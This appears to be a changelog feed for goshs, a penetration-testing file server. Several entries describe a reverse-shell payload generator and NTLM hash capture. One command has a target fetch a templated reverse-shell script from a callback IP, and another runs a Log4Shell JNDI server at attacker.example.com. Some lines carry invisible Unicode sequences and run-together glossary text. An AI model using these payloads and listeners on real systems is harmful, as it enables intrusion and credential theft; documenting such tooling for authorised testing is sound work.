goshs

No entries match these filters. Clear filters

1. v2.1.7 Sep 28, 2026 · issue 088

   goshs v2.1.7 enforces per-folder .goshs ACLsACLsAn access control list, a set of rules allowing or denying operations for particular users, services or network addresses. It decides who can use a resource. across SFTPSFTPSSH File Transfer Protocol, a file transfer standard built on top of SSH that provides encrypted upload, download, and remote file management; cyber tools use it to move files or exfiltrate data over an authenticated, encrypted channel./FTP/TFTPTFTPTrivial File Transfer Protocol, a minimal UDP-based file transfer protocol standardized in RFC 1350, used by cyber tools when simplicity and low overhead matter more than authentication or error recovery./SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. via ProtocolACL and adds folder upload to the web UI.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v2.1.7 https://github.com/goshs-labs/goshs.git
   # already have the repo? check out this version:
   $ git checkout v2.1.7

   • Introduces httpserver.ProtocolACL, a fail-closed enforcer that wires per-folder .goshs ACLACLAn access control list, a set of rules allowing or denying operations for particular users, services or network addresses. It decides who can use a resource. checks into every SFTP, FTP, TFTP and SMB read, write, list, rename, and handle-creation path — folders protected or blocked over HTTP are now denied outright on all protocols.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
   • Adds folder upload to the web UI: whole directory trees (including subdirectories) can be dragged, dropped, or selected for upload with structure preserved server-side; .. path components and .goshs path segments are refused.
   • Extends all block-list and never-serve enforcement points across HTTP, WebDAV, SFTP and directory listing filters to compare names case-insensitively, closing bypasses on Windows and macOS filesystems.
   • Hardens the brute-force lockout so each per-IP attempt is counted inside the same locked section as the credential check, preventing concurrent requests from resetting the counter and bypassing the 5-failure lockout window.
   • Makes the .goshs ACL resolver fail closed: an unreadable, unparsable, or non-regular .goshs entry (including a dangling symlink or a directory named .goshs) now denies everything in the subtree rather than silently dropping inherited auth and block lists; ?mkdir and uploads refuse any .goshs path component.
   • Introduces httpserver.ProtocolACL, a fail-closed enforcer that wires per-folder .goshs ACLACLAn access control list, a set of rules allowing or denying operations for particular users, services or network addresses. It decides who can use a resource. checks into every SFTP, FTP, TFTP and SMB read, write, list, rename, and handle-creation path — folders protected or blocked over HTTP are now denied outright on all protocols.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
   • Adds folder upload to the web UI: whole directory trees (including subdirectories) can be dragged, dropped, or selected for upload with structure preserved server-side; .. path components and .goshs path segments are refused.

   3 more in Everything

   └──▷ BREAKING ON UPGRADE

   • !Any .goshs entry that is a directory, dangling symlink, or otherwise non-regular file now causes the ACL resolver to deny all access to that subtree instead of returning an empty ACL. Setups that inadvertently had a .goshs directory will lose access to those paths on upgrade.
2. docs update Aug 24, 2026 · issue 055

   goshs adds a live team chat with Markdown, emoji reactions, file upload, and optional disk persistence via new CLI flags

   └──▷ TRY IT
   Persist the chat log and pasted images to disk so the conversation survives a goshs restart — useful across a long engagement.
   copy

   $ goshs --persist-chat --persist-chat-images

   Disable the team chat entirely when you want a clean, read-only file-sharing session without collaboration features.
   copy

   $ goshs --no-chat

   Configure chat persistence options in the goshs config file instead of passing flags each run.
   json copy

   {
     "no_chat": false,
     "persist_chat": true,
     "persist_chat_images": true
   }

   • Adds -nc/--no-chat CLI flag and no_chat config key to disable the team chat entirely.
   • Adds -pc/--persist-chat CLI flag and persist_chat config key to write the full chat log — messages, edit flags, per-emoji reaction authors — to <webroot>/.goshs-chat/chat.json after every change and restore it on restart.
   • New live team chat synchronized over a WebSocketWebSocketA protocol that upgrades an HTTP connection into a persistent, full-duplex channel, letting a server push data to a client without repeated polling. Cyber tools use it for real-time event streaming and live command output. connection across all browser sessions and the --tui dashboard, replacing the old shared clipboard.
   • Chat messages are rendered as Markdown with emoji, including collapsible fenced code blocks (collapsed when longer than 10 lines).
   • Supports full :shortcode: emoji set (~1800 emoji from the Mattermost catalog) with composer autosuggest and a searchable reaction picker.

   +5 more show less

   • Supports emoji reactions on any message with a hover-to-see-who-reacted chip.
   • Supports in-place editing of own messages (press ↑ in the composer to recall and cycle through previous messages); edited messages are marked (edited).
   • Supports image paste directly into the composer, inlined as base64 by default.
   • Supports file upload via the button; uploads are stored in .goshs-chat/ and respect --read-only.
   • Supports opt-in desktop Web Notifications via the toggle in the composer for messages received while the tab is hidden.

   10 details in Everything

3. docs update Aug 24, 2026 · issue 055

   goshs adds --no-chat flag to disable the team chat UI entirely.

   ⤢
   └──▷ TRY IT
   Serve files without exposing the team chat — useful when sharing with untrusted recipients or in restricted environments.
   copy

   $ goshs --no-chat

4. docs update Aug 24, 2026 · issue 055

   goshs adds chat control config keys: no_chat, persist_chat, and persist_chat_images

   └──▷ USE IT
   Disable chat entirely and avoid persisting any chat data when running goshs as a clean file-sharing server.
   yaml copy

   no_chat: true
   persist_chat: false
   persist_chat_images: false

   • Adds no_chat config key to disable the built-in chat feature.
   • Adds persist_chat config key to retain chat messages across sessions.
   • Adds persist_chat_images config key to persist images shared in chat across sessions.

   3 details in Everything

5. docs update Aug 24, 2026 · issue 055

   goshs v2.1.6 adds upload size limits, team chat toggle, and persistent chat-to-disk options.

   └──▷ TRY IT
   Cap uploads at 100 MB in a shared-session deployment so users cannot fill disk with large files.
   copy

   $ goshs --max-upload 104857600

   Run a persistent session that retains all chat messages and pasted images across restarts for later review.
   copy

   $ goshs --persist-chat --persist-chat-images

   • Adds -mu / --max-upload flag to cap file upload size in bytes (default: 0 = unlimited).
   • Adds -nc / --no-chat flag to disable the built-in team chat.
   • Adds -pc / --persist-chat flag to persist chat history to disk under .goshs-chat/.
   • Adds -pci / --persist-chat-images flag to write pasted chat images to disk.

   4 details in Everything

6. v2.1.6 Aug 24, 2026 · issue 055

   goshs v2.1.6 replaces the shared clipboard with a persistent team chat supporting Markdown, emoji, reactions, image paste, and file upload across the web UI and TUITUIA text-based user interface that runs inside a terminal, using characters and ANSI escape codes to render menus, panes, and widgets without a graphical desktop, letting cyber tools ship rich interactivity with no GUI dependency..

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v2.1.6 https://github.com/goshs-labs/goshs.git
   # already have the repo? check out this version:
   $ git checkout v2.1.6

   └──▷ TRY IT
   Persist team chat history and pasted images across server restarts during a long engagement.
   copy

   $ goshs --persist-chat --persist-chat-images

   Run a read-only file server with chat disabled when you do not want any collaboration surface exposed.
   copy

   $ goshs --read-only --no-chat

   • Adds --persist-chat (-pc) flag to write the full chat log (messages, edit flags, per-emoji reaction authors) to <webroot>/.goshs-chat/chat.json and restore it on restart; in-memory only by default.
   • Adds --persist-chat-images (-pci) flag to write base64-pasted images to disk under .goshs-chat/ instead of inlining them.
   • Adds --no-chat (-nc) flag to disable the team chat entirely; replaces the old --no-clipboard flag.
   • Adds POST /?chatUpload endpoint for file attachment uploads via the chat button; files land in .goshs-chat/ and are hidden from the directory listing; respects --read-only.
   • New live team chat replaces the non-persistent clipboard in both the web UI and the --tui dashboard (TUI authors as tui@<host>), synchronized over the websocket hub across all connected clients.

   +7 more show less

   • Chat supports Markdown rendering with ~1800 :shortcode: emoji, composer autosuggest, and collapsible long code blocks.
   • Chat supports emoji reactions with a who-reacted tooltip and in-place editing of own messages (↑ in the composer recalls and cycles them; edits flagged (edited)).
   • Chat supports image paste (inlined as base64 or written to disk) and opt-in desktop notifications ( toggle) for others' messages when the tab is hidden.
   • Enforces --no-delete/--upload-only/--read-only flags across SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments., TFTPTFTPTrivial File Transfer Protocol, a minimal UDP-based file transfer protocol standardized in RFC 1350, used by cyber tools when simplicity and low overhead matter more than authentication or error recovery., HTTP, and WebDAV write paths: overwrite, in-place write, truncate, and rename/move of pre-existing files are now refused as deletion-class operations.
   • WebDAV LOCK/UNLOCK operations are now blocked by webdavGuard when --read-only or --upload-only is set, preventing lock-null empty file creation that bypassed those modes.
   • Collaborator feed now unconditionally strips the Authorization header (alongside the CSRFCSRFCross-site request forgery, an attack that makes a signed-in browser send an unwanted request to a site. The site may accept the request using the victim's existing session. token) at every call site, preventing per-directory ACLACLAn access control list, a set of rules allowing or denying operations for particular users, services or network addresses. It decides who can use a resource. credential leakage to unauthenticated watchers.
   • ACL resolution (findEffectiveACL) now merges .goshs files up to the webroot — the nearest ancestor that sets Auth wins, and block lists are unioned — preventing a block-only child file from erasing a parent directory's auth requirement.

   12 details in Everything

   └──▷ BREAKING ON UPGRADE

   • !The --no-clipboard flag is replaced by --no-chat (-nc); any scripts or configs using --no-clipboard will break on upgrade.
7. v2.1.5 Aug 2, 2026 · issue 033

   goshs v2.1.5 adds a TUITUIA text-based user interface that runs inside a terminal, using characters and ANSI escape codes to render menus, panes, and widgets without a graphical desktop, letting cyber tools ship rich interactivity with no GUI dependency. password reveal popup with masked/plaintext toggle and clipboard copy.

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v2.1.5 https://github.com/goshs-labs/goshs.git
   # already have the repo? check out this version:
   $ git checkout v2.1.5

   └──▷ TRY IT
   When you launch goshs with a generated password and forget it mid-session, use the TUI popup to retrieve it without restarting.
   copy

   $ goshs --tui -b "user:$(xkcdpass)"

   • Adds a password reveal modal in the --tui status bar: press p to open an overlay showing basic-auth credentials, u to toggle plaintext, y/c to copy, and esc/q to close.

   1 detail in Everything

8. advisory CVE-2026-114518 Jul 29, 2026 · issue 128
   • CVE-2026-114518: Unauthenticated attackers can bypass basic auth via the ConPtyShell route exemption (CVSSCVSSCommon Vulnerability Scoring System, a method for describing a vulnerability's characteristics and severity. Its score is not the probability that attackers will exploit it. 9.8, affects >= 2.1.1, <= 2.1.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
9. advisory CVE-2026-114504 Jul 29, 2026 · issue 128
   • CVE-2026-114504: goshs --no-delete/--upload-only bypass: PUT/POST overwrite of existing files destroys contents (HTTP and WebDAV) (CVSSCVSSCommon Vulnerability Scoring System, a method for describing a vulnerability's characteristics and severity. Its score is not the probability that attackers will exploit it. 9.1, affects <= 2.1.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
10. advisory CVE-2026-66063 Jul 27, 2026 · issue 128
    • CVE-2026-66063: Path Traversal (CVSSCVSSCommon Vulnerability Scoring System, a method for describing a vulnerability's characteristics and severity. Its score is not the probability that attackers will exploit it. 6.5, affects <= 2.1.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
11. v2.1.4 Jul 3, 2026 · issue 003

    goshs v2.1.4 adds TUITUIA text-based user interface that runs inside a terminal, using characters and ANSI escape codes to render menus, panes, and widgets without a graphical desktop, letting cyber tools ship rich interactivity with no GUI dependency. clipboard copy for reverse-shell payloads via y/c, with OSC 52 SSH support.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.1.4 https://github.com/goshs-labs/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.1.4

    └──▷ TRY IT
    Generate a reverse-shell payload over an SSH session and copy it to your local clipboard via OSC 52 — no local clipboard tool required on the remote host.
    copy

    $ goshs --tui

    • Adds one-key clipboard copy (y/c) in the --tui reverse-shell generator, pushing payloads to xclip/xsel, wl-copy, pbcopy, clip, or over SSH via OSC 52 (filling both system clipboard and X11 primary selection).
    • Restructures the --tui generator tab into a stacked layout so multi-line payload output can be mouse-selected without also grabbing menu entries.

    2 details in Everything

12. v2.1.3 Jun 25, 2026 · release notes

    goshs v2.1.3 adds a TFTPTFTPTrivial File Transfer Protocol, a minimal UDP-based file transfer protocol standardized in RFC 1350, used by cyber tools when simplicity and low overhead matter more than authentication or error recovery. server and a reverse-shell payload generator to its multi-protocol file-sharing toolkit.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.1.3 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.1.3

    └──▷ TRY IT
    Quickly serve your current directory over TFTP so a network device or Windows host can pull files with its built-in tftp.exe client.
    copy

    $ sudo ./goshs -tftp

    Run the TFTP server on an unprivileged port (e.g. in a lab environment where you can't bind UDPUDPA network protocol that sends individual messages without guaranteeing delivery or order. Applications trade built-in reliability for less overhead and can add their own recovery. 69) while still serving HTTP alongside it.
    copy

    $ ./goshs -tftp -tftp-port 6900

    • Adds TFTP server support (-tftp / --tftp-server) serving files over UDP port 69 by default, with RRQ/WRQ (download/upload), blksize/tsize option negotiation, path-traversal rejection, IP whitelist enforcement, --read-only/--upload-only support, and mDNSmDNSA zero-configuration protocol that resolves hostnames to IP addresses on a local network segment without a central DNS server, using multicast UDP on 224.0.0.1:5353. Cyber tools use it to discover hosts and services without active probing. advertisement.
    • Adds a reverse-shell payload generator tab in both the web UI and --tui dashboard, producing one-liners for Bash, nc, Python, PHP, PowerShell, Perl, Ruby, and more, with LHOST/LPORT substitution and optional URL or Base64 (-EncodedCommand) encoding.

    2 details in Everything

13. v2.1.3 Jun 25, 2026 · issue 001

    goshs v2.1.3 adds TFTPTFTPTrivial File Transfer Protocol, a minimal UDP-based file transfer protocol standardized in RFC 1350, used by cyber tools when simplicity and low overhead matter more than authentication or error recovery. server support and a reverse-shell payload generator with multi-language one-liners.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.1.3 https://github.com/goshs-labs/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.1.3

    └──▷ TRY IT
    Stand up a TFTP server during an engagement so Windows targets can pull files with the built-in tftp.exe client — no third-party tooling required.
    copy

    $ sudo goshs -tftp

    Run TFTP on an unprivileged port when you can't bind UDPUDPA network protocol that sends individual messages without guaranteeing delivery or order. Applications trade built-in reliability for less overhead and can add their own recovery./69, useful inside containers or restricted shells.
    copy

    $ goshs -tftp -tftp-port 6900

    • Adds TFTP server (-tftp / --tftp-server) serving files over UDP port 69 by default, supporting both downloads (RRQ) and uploads (WRQ) with blksize/tsize option negotiation, path-traversal rejection, IP whitelist enforcement, and mDNSmDNSA zero-configuration protocol that resolves hostnames to IP addresses on a local network segment without a central DNS server, using multicast UDP on 224.0.0.1:5353. Cyber tools use it to discover hosts and services without active probing. advertisement.
    • Supports custom TFTP port via -tftp-port for unprivileged operation.
    • Adds a reverse-shell payload generator tab in the web UI and --tui dashboard, producing one-liners for Bash, nc, Python, PHP, PowerShell, Perl, Ruby, and more, with LHOST/LPORT substitution and optional URL/Base64 (-EncodedCommand) encoding.

    3 details in Everything

14. v2.1.2 Jun 23, 2026 · release notes

    goshs v2.1.2 adds on-the-fly payload templating and resumable HTTP Range downloads.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.1.2 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.1.2

    • Adds payload templating: serve files as Go templates rendered at download time, with {{.VAR}} placeholders substituted via --template and repeatable --tpl-var KEY=VALUE flags.
    • Supports HTTP Range requests for resumable and partial downloads of large files.

    2 details in Everything

15. v2.1.2 Jun 23, 2026 · issue 001

    goshs v2.1.2 adds on-the-fly payload templating and resumable HTTP Range downloads.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.1.2 https://github.com/goshs-labs/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.1.2

    └──▷ TRY IT
    Serve a reverse-shell payload that auto-fills your callback IP and port at download time — no editing files between engagements.
    copy

    $ goshs -i 10.10.14.7 --template --tpl-var LHOST=10.10.14.7 --tpl-var LPORT=4444
    # target fetches the rendered payload:
    curl 'http://10.10.14.7:8000/rev.ps1?tpl'

    • Adds payload templating: serve files as Go templates rendered at request time via the ?tpl query parameter, with --template to enable and --tpl-var KEY=VALUE to inject per-engagement values (e.g. LHOST, LPORT) without editing files on disk.
    • Supports HTTP Range requests, enabling resumable and partial-content downloads of large files.

    2 details in Everything

16. v2.1.1 Jun 17, 2026 · release notes

    goshs v2.1.1 adds a full-screen TUITUIA text-based user interface that runs inside a terminal, using characters and ANSI escape codes to render menus, panes, and widgets without a graphical desktop, letting cyber tools ship rich interactivity with no GUI dependency. dashboard (--tui) and a TTLTTLTime to live, a limit on how long data remains valid or how far a packet can travel. Caches use a time limit; IP packets use a hop limit. self-destruct timer (--ttl) for time-boxed engagements.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.1.1 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.1.1

    └──▷ TRY IT
    Run a full catcher stack with DNS, a 4-hour self-destruct, and the TUI dashboard — ideal for a time-boxed engagement over SSH without forwarding the web UI port.
    copy

    $ goshs --tui --catcher -dns -dns-ip 10.10.14.5 --ttl 4h

    Start goshs with a 2-hour self-destruct for automated drop-and-forget file serving during a CI pipeline or timed engagement.
    copy

    $ goshs --ttl 2h

    • New --tui flag launches an interactive Bubble Tea terminal dashboard with live event panes for HTTP, DNS, SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments., LDAPLDAPA protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory., SMTPSMTPThe application-layer protocol used to send email between servers and from clients to servers; cyber tools use it to relay alerts, phishing simulations, or exfiltrated data over standard mail infrastructure., Shells, and Clipboard — no web UI port-forwarding needed over SSH.
    • Clipboard management directly in the TUI: add (a), delete (d), and clear (C) entries without touching the web interface.
    • Save SMTP attachments to disk from the TUI with the s key.
    • Export any pane's event log to JSON from the TUI with e (current pane) or E (all panes).
    • New --ttl flag arms a graceful self-destruct timer using Go duration strings (30m, 2h, 1h30m); also settable as "ttl": <seconds> in the JSON config file.

    +2 more show less

    • TTL countdown is surfaced in the TUI status bar when --ttl is active.
    • ConPtyShell.ps1 is no longer embedded in the binary; goshs now serves it on demand at /ConPtyShell.ps1?conpty, using a local webroot copy if present or downloading and caching from upstream — reducing antivirus false positives.

    7 details in Everything

    └──▷ BREAKING ON UPGRADE

    • !ConPtyShell.ps1 is no longer compiled into the goshs binary; Windows upgrade flows that relied on the embedded script must now ensure the route /ConPtyShell.ps1?conpty is reachable (it is exempt from authentication), or place a ConPtyShell.ps1 in the webroot.
17. v2.1.1 Jun 17, 2026 · issue 001

    goshs v2.1.1 adds an interactive TUITUIA text-based user interface that runs inside a terminal, using characters and ANSI escape codes to render menus, panes, and widgets without a graphical desktop, letting cyber tools ship rich interactivity with no GUI dependency. dashboard and a TTLTTLTime to live, a limit on how long data remains valid or how far a packet can travel. Caches use a time limit; IP packets use a hop limit. self-destruct timer, plus on-demand ConPtyShell delivery to cut AV noise.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.1.1 https://github.com/goshs-labs/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.1.1

    └──▷ TRY IT
    Monitor all callback protocols and manage reverse shells over an SSH session without forwarding the web UI port.
    copy

    $ goshs --tui --catcher -dns -dns-ip 10.10.14.5 -smtp -smtp-domain evil.example.com

    Run a time-boxed listener that automatically shuts down after 4 hours — ideal for leaving infrastructure unattended during a long engagement window.
    copy

    $ goshs --tui --catcher -dns -dns-ip 10.10.14.5 --ttl 4h

    Stand up a plain file server that self-destructs after 30 minutes for a quick, controlled file-transfer window.
    copy

    $ goshs --ttl 30m

    • Adds --tui flag: a full-screen Bubble Tea terminal dashboard with live panes for HTTP, DNS, SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments., LDAPLDAPA protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory., SMTPSMTPThe application-layer protocol used to send email between servers and from clients to servers; cyber tools use it to relay alerts, phishing simulations, or exfiltrated data over standard mail infrastructure., reverse shells, and clipboard — operable over SSH without port-forwarding the web UI.
    • Enables interactive reverse shell management from the TUI: start/stop/restart listeners, attach to sessions, upgrade Unix shells to PTY (u) and Windows shells via ConPtyShell (U).
    • Supports clipboard management directly from the TUI: add (a), delete (d), and clear (C) entries; save SMTP attachments to disk (s).
    • Adds per-pane log export to JSON (e / E) from within the TUI dashboard.
    • Adds --ttl flag for graceful self-destruct after a Go duration string (30m, 2h, 1h30m, …) or via "ttl": <seconds> in the JSON config — useful for time-boxed engagements.

    +2 more show less

    • Changes ConPtyShell delivery: ConPtyShell.ps1 is no longer embedded in the binary (reducing AV false positives) and is instead served on demand at /ConPtyShell.ps1?conpty, using a local webroot copy if present or downloading and caching from upstream otherwise.
    • New /ConPtyShell.ps1?conpty route is authentication-exempt, ensuring caught Windows hosts can always fetch the script.

    7 details in Everything

    └──▷ BREAKING ON UPGRADE

    • !ConPtyShell.ps1 is no longer embedded in the goshs binary; setups that relied on the built-in ConPtyShell payload must now either place a ConPtyShell.ps1 in the webroot or ensure goshs can reach the upstream GitHub repository to download it on demand.
18. v2.0.9 May 27, 2026 · release notes

    goshs v2.0.9 adds FTP and SFTPSFTPSSH File Transfer Protocol, a file transfer standard built on top of SSH that provides encrypted upload, download, and remote file management; cyber tools use it to move files or exfiltrate data over an authenticated, encrypted channel. server modes with public-key auth support

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.9 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.9

    └──▷ TRY IT
    Serve files over SFTP with public-key auth — useful when you need encrypted file transfer without exposing HTTP.
    copy

    $ goshs -ftp -ftp-sftp -ftp-port 2222 -fhk /etc/ssh/ssh_host_rsa_key -fkf ~/.ssh/authorized_keys

    Spin up a quick plain-text FTP server with basic auth enforced, for a controlled internal transfer scenario.
    copy

    $ goshs -ftp -ftp-port 2121 -b

    • Adds FTP plain-text server mode via -ftp flag, listening on a configurable port (default 2121).
    • Adds SFTP mode via -ftp-sftp flag, upgrading the FTP server to SSH File Transfer Protocol.
    • Supports SFTP public-key authentication via -fkf/--ftp-keyfile (authorized_keys file) and -fhk/--ftp-host-keyfile (SSH host key).
    • Existing -b auth enforcement flag applies to both FTP and SFTP services.

    4 details in Everything

19. v2.0.8 May 13, 2026 · release notes

    goshs v2.0.8 adds tab completion for bash, fish, and zsh via a single --completion flag.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.8 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.8

    └──▷ TRY IT
    Install zsh tab completion so goshs flags and subcommands autocomplete in your shell.
    copy

    $ goshs --completion zsh

    • Adds shell tab completion for bash, fish, and zsh via --completion <shell>, with automatic detection of macOS/Homebrew install paths.

    1 detail in Everything

20. v2.0.7 May 12, 2026 · release notes

    goshs v2.0.7 adds checksum-verified auto-updates, new Linux packages (.deb/.rpm), and Winget support.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.7 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.7

    └──▷ TRY IT
    Install goshs on Windows via Winget instead of manually downloading a binary.
    copy

    $ winget install PatrickHener.Goshs

    • Auto-update check now verifies downloads against MITM attacks using checksum validation.
    • Linux releases now ship with native .deb and .rpm packages for direct installation.
    • Windows releases now ship as .zip archives.
    • Adds Winget support: winget install PatrickHener.Goshs.
    • Adds installation support for Arch (AUR), openSUSE, Parrot OS, and NixOS.

    5 details in Everything

    └──▷ BREAKING ON UPGRADE

    • !The --update flag is broken in v2.0.7 due to renamed release archives (e.g. goshs_v2.0.7_linux_x86_64.tar.gz); use go install goshs.de/goshs/v2@latest or manually replace the binary until v2.0.8.
    • !Windows release archives changed from .tar.gz to .zip; any automation that fetches the Windows release by filename will break.
21. v2.0.6 Apr 29, 2026 · release notes

    goshs v2.0.6 adds Markdown preview in-browser, extended file previews, and collaborator log export for HTTP/DNS/SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments./LDAPLDAPA protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory./SMTPSMTPThe application-layer protocol used to send email between servers and from clients to servers; cyber tools use it to relay alerts, phishing simulations, or exfiltrated data over standard mail infrastructure..

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.6 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.6

    • Adds in-browser rendering of .md files with syntax highlighting via the file preview panel.
    • Extends file preview support to additional data types including code and documents.
    • Enables export of collaborator panel logs (HTTP, DNS, SMB, LDAP, SMTP) for offline analysis.
    • Enhances --update to display rendered changelogs for every version between the current install and the latest release.

    4 details in Everything

22. v2.0.5 Apr 27, 2026 · release notes

    goshs v2.0.5 adds a full LDAPLDAPA protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory. collaborator server with NTLMNTLMA Windows authentication protocol that proves knowledge of a password through a challenge and response. Captured authentication exchanges can be abused in relay attacks when protections are absent. hash capture, JNDI/Log4Shell mode, and Windows support for the reverse shell catcher.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.5 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.5

    └──▷ TRY IT
    Capture NTLM hashes from clients targeting your host and crack them against a custom wordlist in one step.
    copy

    $ goshs --ldap --ldap-port 389 --ldap-wordlist /opt/wordlists/rockyou.txt

    Stand up a Log4Shell callback server over LDAPSLDAPSLDAP over TLS — the encrypted variant of the Lightweight Directory Access Protocol, standardized in RFC 2830, used to query directory services like Active Directory without exposing credentials in plaintext. with a self-signed cert to test for CVE-2021-44228 exposure.
    copy

    $ goshs --ldap --ldap-port 636 --ldap-jndi --ldap-jndi-base ldap://attacker.example.com -s -ss

    • New --ldap flag launches a lightweight LDAP collaborator server for credential capture, supporting Simple bind (DN + cleartext password), SASLSASLA framework for plugging authentication mechanisms into network protocols, standardized by the IETF, so a tool can support password, Kerberos, or certificate login without rewriting auth logic per protocol. PLAIN, and full NetNTLMv2 challenge-response with inline hash cracking.
    • New --ldap-jndi flag puts goshs into Log4Shell exploitation mode, responding to any LDAP search with a javaNamingReference entry.
    • NTLM hash cracking outputs in hashcat format using a built-in default wordlist or a custom wordlist supplied via --ldap-wordlist.
    • LDAPS support via -s -ss (self-signed) or -s -sc/-sk (custom cert) automatically switches the LDAP port from 389 to 636.
    • All LDAP events (bind, search, NTLM) stream live to a new WebSocketWebSocketA protocol that upgrades an HTTP connection into a persistent, full-duplex channel, letting a server push data to a client without repeated polling. Cyber tools use it for real-time event streaming and live command output.-backed LDAP collaborator UI tab with cracked-password badges.

    +2 more show less

    • LDAP bind, search, and NTLM events are forwarded via webhook integration to Discord, Slack, or other targets.
    • The interactive reverse shell catcher is now fully cross-platform and builds and runs on Windows.

    7 details in Everything

23. v2.0.4 Apr 27, 2026 · release notes

    goshs v2.0.4 adds an interactive shell catcher with reverse shell listeners, shell upgrade, and a payload generator.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.4 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.4

    • New interactive shell catcher for receiving and managing incoming reverse shell connections.
    • Built-in reverse shell listeners to catch callbacks without external tools.
    • Shell upgrade support to elevate caught shells to fully interactive TTYs.
    • Reverse shell payload generator inspired by revshells.com, built directly into goshs.

    4 details in Everything

24. v2.0.3 Apr 21, 2026 · release notes

    goshs v2.0.3 adds -mu/--max-upload flag to cap file upload size in bytes.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.3 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.3

    └──▷ TRY IT
    Run a file-sharing server that rejects uploads larger than 10 MB — useful for public-facing drops where you want to prevent abuse.
    copy

    $ goshs --max-upload 10485760

25. v2.0.0 Apr 14, 2026 · release notes

    goshs v2.0.0 adds SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments., SFTPSFTPSSH File Transfer Protocol, a file transfer standard built on top of SSH that provides encrypted upload, download, and remote file management; cyber tools use it to move files or exfiltrate data over an authenticated, encrypted channel., DNS, and SMTPSMTPThe application-layer protocol used to send email between servers and from clients to servers; cyber tools use it to relay alerts, phishing simulations, or exfiltrated data over standard mail infrastructure. servers plus a real-time collaboration panel for multi-protocol pentest operations.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.0 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.0

    └──▷ TRY IT
    Spin up a rogue SMB server to capture NTLMNTLMA Windows authentication protocol that proves knowledge of a password through a challenge and response. Captured authentication exchanges can be abused in relay attacks when protections are absent. hashes from machines on your target network during a pentest.
    copy

    $ goshs -smb -smb-domain CORP

    Run a DNS callback listener to catch out-of-band DNS interactions during blind SSRFSSRFServer-side request forgery, an attack that tricks a server into making requests chosen by an attacker. Those requests can reach internal services the attacker cannot access directly. or injection testing.
    copy

    $ goshs -dns -dns-ip <your-ip>

    Stand up a rogue SMTP server to receive phishing replies or exfiltrated email with attachments, forwarded to a webhook.
    copy

    $ goshs -smtp -smtp-domain your-domain.com

    • New SMB server mode captures and locally cracks NTLM hashes during penetration tests and CTFCTFCapture The Flag — a competitive hacking challenge format where participants exploit intentionally vulnerable systems or puzzles to retrieve hidden strings, used by cyber tools to practice and demonstrate offensive and defensive techniques. challenges, with optional webhook forwarding.
    • New SFTP server mode serves files over SSH/SFTP alongside or instead of HTTP.
    • New DNS server mode logs out-of-band DNS callbacks for SSRF detection and blind injection testing.
